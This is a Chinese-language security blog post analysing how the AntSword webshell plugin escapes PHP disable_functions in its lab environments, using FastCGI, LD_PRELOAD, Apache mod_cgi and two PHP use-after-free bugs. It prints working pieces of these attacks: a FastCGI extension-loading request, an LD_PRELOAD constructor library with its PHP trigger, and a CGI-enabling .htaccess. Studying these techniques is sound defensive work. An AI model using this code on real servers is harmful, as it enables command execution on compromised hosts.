Yoga7xm's Blog

Antsword Bypass_Disable_functions简析

字数统计: 1.9k阅读时长: 8 min
2019/12/29 Share

Abstract

这几天不管是测试还是使用靶机都好几次遇上了Disabled Functions的情况,于是抽空来探究下插件的实现原理。

项目传送门

PHP-FPM/FastCGI

配套使用蚁剑上的一个disable_functions项目:传送门

用蚁剑直接连接一句话

虚拟终端下执行命令失败,来看下phpinfo

可以看到PHP是FPM/FastCGI模式启动的,而且disable了执行命令的函数以及putenv()、mail()等常见Bypass的函数。加载插件并选择模式,填入FPM地址开始即可

这里的接口地址需要去查找配置文件/usr/local/etc/php-fpm.d/zz-docker.conf

1
2
3
4
[global]
daemonize = no
[www]
listen = 9000

操作成功后会上传在该目录下上传代理脚本.antproxy.php,然后蚁剑连接这个文件就可成功Bypass

我们大致来看下Bypass实现原理 。 .antproxy.php关键的代码

1
2
3
4
5
6
7
8
set_time_limit(120);
$headers=get_client_header();
$host = "127.0.0.1";
$port = 64765;
$errno = '';
$errstr = '';
$timeout = 30;
$url = "/index.php";

就是代理向127.0.0.1:64765的index.php发送请求,回过头来看docker(需要安装net-tools和procps)

果然在64765起了一个web服务

1
php -n -S 127.0.0.1:64765 -t /var/www/html

-S 127.0.0.1:64765 : 新web服务监听地址

-t /var/www/html/ : 新http服务的Web根目录,可随便指,只要保证那个目录下面有个 php webshell 就行,建议是直接指定成 shell 当前目录

-n : 表示不使用 php.ini, 这个新的服务PHP用的是默认配置,核心所在

默认配置是没有禁用直接执行密码的函数,于是这样就能够成功Bypass。但这样还是不够的,我们来看插件源码 传送门1

1
2
3
4
let port = Math.floor(Math.random() * 5000) + 60000; // 60000~65000
......
let cmd = `${phpbinary} -n -S 127.0.0.1:${port} -t ${self.top.infodata.phpself}`;
let fileBuffer = self.generateExt(cmd);

生成扩展的函数:传送门2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
generateExt(cmd) {
let self = this;
let fileBuff = fs.readFileSync(self.ext_path);
let start = 0, end = 0;
switch (self.ext_name) {
case 'ant_x86.so':
start = 275;
end = 504;
break;
case 'ant_x64.so':
// 434-665
start = 434;
end = 665;
break;
case 'ant_x86.dll':
start = 1544;
end = 1683;
break;
case 'ant_x64.dll':
start = 1552;
end = 1691;
break;
default:
break;
}
if(cmd.length > (end - start)) {
return
}
fileBuff[end] = 0;
fileBuff.write(" ", start);
fileBuff.write(cmd, start);
return fileBuff;
}

FastCGI攻击包

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
var payload = `${FastCgiClient()};
$content="";
$client = new Client('${fpm_host}',${fpm_port});
$client->request(array(
'GATEWAY_INTERFACE' => 'FastCGI/1.0',
'REQUEST_METHOD' => 'POST',
'SERVER_SOFTWARE' => 'php/fcgiclient',
'REMOTE_ADDR' => '127.0.0.1',
'REMOTE_PORT' => '9984',
'SERVER_ADDR' => '127.0.0.1',
'SERVER_PORT' => '80',
'SERVER_NAME' => 'mag-tured',
'SERVER_PROTOCOL' => 'HTTP/1.1',
'CONTENT_TYPE' => 'application/x-www-form-urlencoded',
'PHP_VALUE' => 'extension=${p}',
'PHP_ADMIN_VALUE' => 'extension=${p}',
'CONTENT_LENGTH' => strlen($content)
),
$content
);
sleep(1);
echo(1);
`;

大致过程是这样的:

  1. 随机生成一个60000~65000的端口号作为后面PHP起的web服务端口
  2. 根据传入的FPM地址判断TCP模式还是Unix Socks模式最后得到FPM地址用于后续发送Fast CGI攻击包
  3. 拼接cmd参数,调用generateExt()将其插入指定范围内并生成扩展文件
  4. 上传扩展文件
  5. 上传成功后,构造连接服务端FPM的FastCGI数据包,指定PHP_VALUEPHP_ADMIN_VALUE为上一步的扩展文件,从而可以加载文件并执行中传入的cmd命令,进而起一个不受php.ini影响的Web服务
  6. 通过连接第一步的端口来验证Payload是否执行成功,如果成功则上传代理PHP

LD_PRELOAD

这个利用原理在之前就分析过:传送门

这里就提一下,通过putenv()函数设置LD_PRELOAD环境变量来劫持动态链接库.so文件,构造相同名称的函数来达到注入恶意代码的目的,实现劫持并执行恶意命令

同样使用蚁剑提供的实验环境:传送门。部署好了之后,直接用蚁剑连接,然后查看哪些函数被disabled了

1
pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,dl,mail,system

虽然mail()被禁用了但是error_log()和putenv()还在。加载插件并且选择模式,点击开始即可

与上一个类似,会生成一个代理脚本。然后去连接代理脚本就能执行系统命令

这里的代理脚本与上一个模式的一样,都是与新生成的Web服务通信。我们来看下插件的实现原理

只是payload不同,其他与上一个大致相同。上传完so文件之后,通过error_log()去调用外部的sendmail(),劫持并执行起一个新的Web服务进程的命令

可以看出使用该插件的条件:

  1. 目标程序必须装有sendmail程序
  2. 对sendmail调用未做限制
  3. 需要mail()和error_log()两者中的一个

如果前俩条不符合,同样可以用constructor属性成功Bypass—–传送门

大佬给出了c文件和利用的php文件

1
2
3
4
5
6
7
8
9
10
#define _GNU_SOURCE
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>

__attribute__ ((__constructor__)) void angel (void){
unsetenv("LD_PRELOAD");
const char* cmd = getenv("CMD");
system(cmd);
}

然后gcc test.c -fPIC -shared -o test.so编译成so文件上传至可写目录下

1
2
3
4
5
6
7
<?php
$cmd = "php -n -S 127.0.0.1:6666 -t /var/www/html";
putenv("CMD=".$cmd);
$so_path = "/tmp/testss.so";
putenv("LD_PRELOAD=".$so_path);;
error_log("a",1);
?>

然后访问这个php文件就能在目标机器起一个Web服务,然后将.antproxy.php中的port改为6666将流量代理过去即可

Apache_Mod_CGI

使用蚁剑提供的环境:传送门

插件使用条件:

  • Linux 操作系统
  • Apache + PHP (apache 使用 apache_mod_php)
  • Apache 开启了 cgi, rewrite
  • Web 目录给了 AllowOverride 权限
  • 当前目录可写

.haccess文件是否生效取决于apache配置文件中指定Web目录下AllowOverride的值,只有当其设置为ALL才能生效。这里提一句,2.3.8及以前版本的Apache默认值为ALL

mod_cgi模块就是将cgi脚本文件或者用户自定义格式的脚本文件在服务端运行并将输出返回。让apache http服务器本身能够支持PHP语言,不需要每一个请求都通过启动PHP解释器来解释PHP

来看插件的实现

满足条件后,写入的.htaccess文件

1
2
Options +ExecCGI   
AddHandler cgi-script .ant

第一行表示允许使用mod_cgi模块执行CGI脚本

第二行表示后缀名是.ant格式的文件调用cgi程序来处理

写入的shell.ant

1
#!/bin/sh\\n\\necho&ls

还可以直接上传POC反弹shell出来

Json Serializer UAF

使用蚁剑提供的环境:传送门

部署好了之后,蚁剑连接,加载插件选择模式开始即可

执行成功之后会弹出一个黑色终端,可以能够执行命令。

使用这个插件给出的条件是:

  • Linux 操作系统
  • PHP 版本
    • 7.1 - all versions to date
    • 7.2 < 7.2.19 (released: 30 May 2019)
    • 7.3 < 7.3.6 (released: 30 May 2019)

实现原理就是利用Json序列化程序中的堆溢出触发,直接执行系统命令。我们来看蚁剑的实现

直接将cmd和bin传入JSON_Serializer_UAF()中,跟进这个函数

直接是调用了POC执行命令的,抓包可以看到

PHP7 GC with Certain Destructors UAF

使用蚁剑提供的环境:传送门

部署好了之后,蚁剑连接,加载插件选择模式开始即可

原理也是利用PHP garbage collector程序中的堆溢出直接执行系统命令的。使用条件:

  • Linux 操作系统
  • PHP 版本
    • 7.0 - all versions to date
    • 7.1 - all versions to date
    • 7.2 - all versions to date
    • 7.3 - all versions to date

也是调用了POC,传入cmd参数执行命令

Referer

https://xz.aliyun.com/t/5839

https://www.anquanke.com/post/id/195686

https://github.com/AntSwordProject/AntSword-Labs/tree/master/bypass_disable_functions/

https://github.com/l3m0n/Bypass_Disable_functions_Shell/blob/master/exp/apache_mod_cgi/exp.php

CATALOG
  1. 1. Abstract
  2. 2. PHP-FPM/FastCGI
  3. 3. LD_PRELOAD
  4. 4. Apache_Mod_CGI
  5. 5. Json Serializer UAF
  6. 6. PHP7 GC with Certain Destructors UAF
  7. 7. Referer